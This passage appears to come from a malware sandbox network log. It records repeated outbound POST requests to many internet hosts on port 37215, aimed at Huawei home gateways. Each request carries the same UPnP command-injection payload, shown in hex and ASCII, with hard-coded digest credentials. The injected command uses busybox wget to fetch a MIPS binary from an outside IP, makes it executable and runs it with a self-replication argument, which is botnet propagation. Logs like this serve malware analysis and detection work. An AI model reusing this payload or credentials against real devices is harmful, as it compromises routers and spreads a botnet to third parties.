2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.15	48620	41.63.90.165	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.479427099 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.15	43226	197.169.40.175	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.479938984 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.15	55066	34.108.209.169	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.479938984 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.15	48196	20.255.176.224	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.479938984 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.15	33022	41.133.211.18	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.479938984 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.15	48814	157.176.38.133	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.479938984 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.15	47244	157.169.76.138	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.479938984 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.15	54602	182.92.42.223	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.479938984 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.15	59708	41.162.253.225	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.479938984 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.15	38156	197.251.233.95	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.485534906 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.15	52820	197.1.29.38	37215

Timestamp	Bytes transferred	Direction	Data
